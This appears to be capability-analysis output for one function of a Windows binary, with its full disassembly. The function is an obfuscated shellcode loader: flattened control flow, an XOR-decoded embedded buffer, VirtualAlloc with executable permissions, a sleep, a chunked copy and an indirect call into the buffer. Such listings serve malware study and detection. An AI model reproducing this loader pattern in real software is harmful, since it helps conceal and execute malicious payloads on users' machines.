Function at 0x1400014b0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
sub rsp, 0x470
lea rbp, [rsp + 0x80]
mov rax, qword [0x14009d398]
xor rax, rbp
mov qword [rbp + 0x3e8], rax
mov dword [rbp - 0x6c], 0x8765a17d
mov eax, dword [rbp - 0x6c]
mov dword [rbp - 0x70], eax
sub eax, 0x8765a17d
je 0x140001766
jmp 0x1400014ee
mov eax, dword [rbp - 0x70]
sub eax, 0x997278fe
je 0x140001869
jmp 0x140001501
mov eax, dword [rbp - 0x70]
sub eax, 0xa25c50cc
je 0x140001a50
jmp 0x140001514
mov eax, dword [rbp - 0x70]
sub eax, 0xa6eab783
je 0x140001a3c
jmp 0x140001527
mov eax, dword [rbp - 0x70]
sub eax, 0xa8be14b6
je 0x140001927
jmp 0x14000153a
mov eax, dword [rbp - 0x70]
sub eax, 0xc0bc65b4
je 0x1400019c8
jmp 0x14000154d
mov eax, dword [rbp - 0x70]
sub eax, 0xc2f46b2b
je 0x140001815
jmp 0x140001560
mov eax, dword [rbp - 0x70]
sub eax, 0xc42647f2
je 0x140001a99
jmp 0x140001573
mov eax, dword [rbp - 0x70]
sub eax, 0xcf8a78a7
je 0x140001a07
jmp 0x140001586
mov eax, dword [rbp - 0x70]
sub eax, 0xd5e3ce62
je 0x140001ae3
jmp 0x140001599
mov eax, dword [rbp - 0x70]
sub eax, 0xdb972fc0
je 0x140001a65
jmp 0x1400015ac
mov eax, dword [rbp - 0x70]
sub eax, 0xdce2f4ca
je 0x1400017db
jmp 0x1400015bf
mov eax, dword [rbp - 0x70]
sub eax, 0xe9fff7c2
je 0x140001b5f
jmp 0x1400015d2
mov eax, dword [rbp - 0x70]
sub eax, 0xf78e08e9
je 0x140001b45
jmp 0x1400015e5
mov eax, dword [rbp - 0x70]
sub eax, 0x8739c39
je 0x140001ace
jmp 0x1400015f8
mov eax, dword [rbp - 0x70]
sub eax, 0x8a61682
je 0x140001979
jmp 0x14000160b
mov eax, dword [rbp - 0x70]
sub eax, 0x9f62b02
je 0x140001afc
jmp 0x14000161e
mov eax, dword [rbp - 0x70]
sub eax, 0xb187ec5
je 0x1400018cb
jmp 0x140001631
mov eax, dword [rbp - 0x70]
sub eax, 0x1d7c75ba
je 0x140001933
jmp 0x140001644
mov eax, dword [rbp - 0x70]
sub eax, 0x1e996e81
je 0x140001a21
jmp 0x140001657
mov eax, dword [rbp - 0x70]
sub eax, 0x24efb90f
je 0x14000179d
jmp 0x14000166a
mov eax, dword [rbp - 0x70]
sub eax, 0x279b517a
je 0x140001b11
jmp 0x14000167d
mov eax, dword [rbp - 0x70]
sub eax, 0x285e540e
je 0x1400017ee
jmp 0x140001690
mov eax, dword [rbp - 0x70]
sub eax, 0x303d17a8
je 0x1400018f4
jmp 0x1400016a3
mov eax, dword [rbp - 0x70]
sub eax, 0x3482d761
je 0x140001833
jmp 0x1400016b6
mov eax, dword [rbp - 0x70]
sub eax, 0x3cf475ea
je 0x14000187e
jmp 0x1400016c9
mov eax, dword [rbp - 0x70]
sub eax, 0x46735797
je 0x1400019f2
jmp 0x1400016dc
mov eax, dword [rbp - 0x70]
sub eax, 0x5876653f
je 0x140001915
jmp 0x1400016ef
mov eax, dword [rbp - 0x70]
sub eax, 0x5b7e26cc
je 0x1400019bc
jmp 0x140001702
mov eax, dword [rbp - 0x70]
sub eax, 0x641719b4
je 0x140001b31
jmp 0x140001715
mov eax, dword [rbp - 0x70]
sub eax, 0x6b32f3c9
je 0x1400018e2
jmp 0x140001728
mov eax, dword [rbp - 0x70]
sub eax, 0x6d76d773
je 0x14000184e
jmp 0x14000173b
mov eax, dword [rbp - 0x70]
sub eax, 0x708ef362
je 0x140001b1d
jmp 0x14000174e
mov eax, dword [rbp - 0x70]
sub eax, 0x7256aab3
je 0x140001800
jmp 0x140001761
jmp 0x140001b7c
mov eax, 0x10
mov qword [rbp - 0x78], rax
call fcn.1400202d0
sub rsp, rax
mov rax, qword [rbp - 0x78]
mov rcx, rsp
mov qword [rbp - 0x50], rcx
call fcn.1400202d0
sub rsp, rax
mov rax, rsp
mov qword [rbp - 0x48], rax
mov dword [rbp - 0x6c], 0x24efb90f
jmp 0x140001b7c
mov eax, 0x10
call fcn.1400202d0
sub rsp, rax
mov rax, rsp
mov qword [rbp - 0x40], rax
lea rcx, [rbp + 0x40]
lea rdx, section..rdata
mov r8d, 0x3a0
sub rsp, 0x20
call fcn.140029660
add rsp, 0x20
mov dword [rbp - 0x6c], 0xdce2f4ca
jmp 0x140001b7c
mov dword [rbp - 0x54], 0
mov dword [rbp - 0x6c], 0x285e540e
jmp 0x140001b7c
mov eax, dword [rbp - 0x54]
mov dword [rbp - 0x34], eax
mov dword [rbp - 0x6c], 0x7256aab3
jmp 0x140001b7c
mov eax, dword [rbp - 0x34]
cdqe
mov qword [rbp - 0x30], rax
mov dword [rbp - 0x6c], 0xc2f46b2b
jmp 0x140001b7c
mov rax, qword [rbp - 0x30]
cmp rax, 0x3a0
setb al
and al, 1
mov byte [rbp - 0x21], al
mov dword [rbp - 0x6c], 0x3482d761
jmp 0x140001b7c
mov dl, byte [rbp - 0x21]
mov eax, 0x1d7c75ba
mov ecx, 0x6d76d773
test dl, 1
cmovne eax, ecx
mov dword [rbp - 0x6c], eax
jmp 0x140001b7c
movsxd rcx, dword [rbp - 0x54]
lea rax, [rbp + 0x40]
add rax, rcx
mov qword [rbp - 0x20], rax
mov dword [rbp - 0x6c], 0x997278fe
jmp 0x140001b7c
mov rax, qword [rbp - 0x20]
mov al, byte [rax]
mov byte [rbp - 0x15], al
mov dword [rbp - 0x6c], 0x3cf475ea
jmp 0x140001b7c
mov al, byte [rbp - 0x15]
movzx r8d, al
mov eax, r8d
xor eax, 0xffffffff
and eax, 0xdd5b2a62
mov edx, 0xffffffff
xor edx, 0xdd5b2a62
and r8d, edx
mov ecx, 0xffffffff
xor ecx, 0x97
and ecx, 0xdd5b2a62
and edx, 0x97
or eax, r8d
or ecx, edx
xor eax, ecx
mov dword [rbp - 0x14], eax
mov dword [rbp - 0x6c], 0xb187ec5
jmp 0x140001b7c
mov eax, dword [rbp - 0x14]
mov cl, al
mov rax, qword [rbp - 0x20]
mov byte [rax], cl
mov dword [rbp - 0x6c], 0x6b32f3c9
jmp 0x140001b7c
mov eax, dword [rbp - 0x54]
mov dword [rbp - 0x10], eax
mov dword [rbp - 0x6c], 0x303d17a8
jmp 0x140001b7c
mov eax, dword [rbp - 0x10]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 1
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [rbp - 0xc], eax
mov dword [rbp - 0x6c], 0x5876653f
jmp 0x140001b7c
mov eax, dword [rbp - 0xc]
mov dword [rbp - 0x54], eax
mov dword [rbp - 0x6c], 0xa8be14b6
jmp 0x140001b7c
mov dword [rbp - 0x6c], 0x285e540e
jmp 0x140001b7c
xor eax, eax
mov ecx, eax
mov edx, 0x3a0
mov r8d, 0x3000
mov r9d, 0x40
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
add rsp, 0x20
mov qword [rbp - 0x60], rax
mov ecx, 0x3e8
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_Sleep]
add rsp, 0x20
mov dword [rbp - 0x6c], 0x8a61682
jmp 0x140001b7c
mov qword [rbp - 0x68], 0x3a0
mov rdx, qword [rbp - 0x68]
lea rcx, [0x14009e570]
sub rsp, 0x20
call fcn.140001b90
add rsp, 0x20
mov rcx, rax
lea rdx, [0x140001e90]
sub rsp, 0x20
call fcn.140001db0
add rsp, 0x20
mov dword [rbp - 0x6c], 0x5b7e26cc
jmp 0x140001b7c
mov dword [rbp - 0x6c], 0xc0bc65b4
jmp 0x140001b7c
mov rax, qword [rbp - 0x50]
mov dword [rax], 0x190
mov rax, qword [rbp - 0x48]
mov dword [rax], 3
mov rax, qword [rbp - 0x40]
mov dword [rax], 0
mov dword [rbp - 0x6c], 0x46735797
jmp 0x140001b7c
mov rax, qword [rbp - 0x40]
mov eax, dword [rax]
mov dword [rbp - 8], eax
mov dword [rbp - 0x6c], 0xcf8a78a7
jmp 0x140001b7c
mov eax, dword [rbp - 8]
cmp eax, 3
setl al
and al, 1
mov byte [rbp - 1], al
mov dword [rbp - 0x6c], 0x1e996e81
jmp 0x140001b7c
mov dl, byte [rbp - 1]
mov eax, 0x708ef362
mov ecx, 0xa6eab783
test dl, 1
cmovne eax, ecx
mov dword [rbp - 0x6c], eax
jmp 0x140001b7c
lea rax, [rbp + 0x40]
mov qword [rbp], rax
mov dword [rbp - 0x6c], 0xa25c50cc
jmp 0x140001b7c
mov rax, qword [rbp - 0x40]
mov eax, dword [rax]
mov dword [rbp + 0xc], eax
mov dword [rbp - 0x6c], 0xdb972fc0
jmp 0x140001b7c
mov eax, dword [rbp + 0xc]
imul eax, eax, 0x190
movsxd rcx, eax
mov rax, qword [rbp]
add rax, rcx
mov qword [rbp + 0x10], rax
mov rax, qword [rbp - 0x60]
mov qword [rbp + 0x18], rax
mov rax, qword [rbp - 0x40]
mov eax, dword [rax]
mov dword [rbp + 0x24], eax
mov dword [rbp - 0x6c], 0xc42647f2
jmp 0x140001b7c
mov eax, dword [rbp + 0x24]
imul eax, eax, 0x190
cdqe
mov rcx, qword [rbp + 0x18]
add rcx, rax
mov rdx, qword [rbp + 0x10]
mov r8d, 0x190
sub rsp, 0x20
call section..text
add rsp, 0x20
mov dword [rbp - 0x6c], 0x8739c39
jmp 0x140001b7c
mov rax, qword [rbp - 0x40]
mov eax, dword [rax]
mov dword [rbp + 0x28], eax
mov dword [rbp - 0x6c], 0xd5e3ce62
jmp 0x140001b7c
mov eax, dword [rbp + 0x28]
xor ecx, ecx
sub ecx, 1
sub eax, ecx
mov dword [rbp + 0x2c], eax
mov dword [rbp - 0x6c], 0x9f62b02
jmp 0x140001b7c
mov rax, qword [rbp - 0x40]
mov ecx, dword [rbp + 0x2c]
mov dword [rax], ecx
mov dword [rbp - 0x6c], 0x279b517a
jmp 0x140001b7c
mov dword [rbp - 0x6c], 0x46735797
jmp 0x140001b7c
mov rax, qword [rbp - 0x60]
mov qword [rbp + 0x30], rax
mov dword [rbp - 0x6c], 0x641719b4
jmp 0x140001b7c
mov rax, qword [rbp + 0x30]
mov qword [rbp + 0x38], rax
mov dword [rbp - 0x6c], 0xf78e08e9
jmp 0x140001b7c
mov rax, qword [rbp + 0x38]
sub rsp, 0x20
call rax
add rsp, 0x20
mov dword [rbp - 0x6c], 0xe9fff7c2
jmp 0x140001b7c
mov rcx, qword [rbp + 0x3e8]
xor rcx, rbp
sub rsp, 0x20
call fcn.140020330
nop
lea rsp, [rbp + 0x3f0]
pop rbp
ret
jmp 0x1400014d8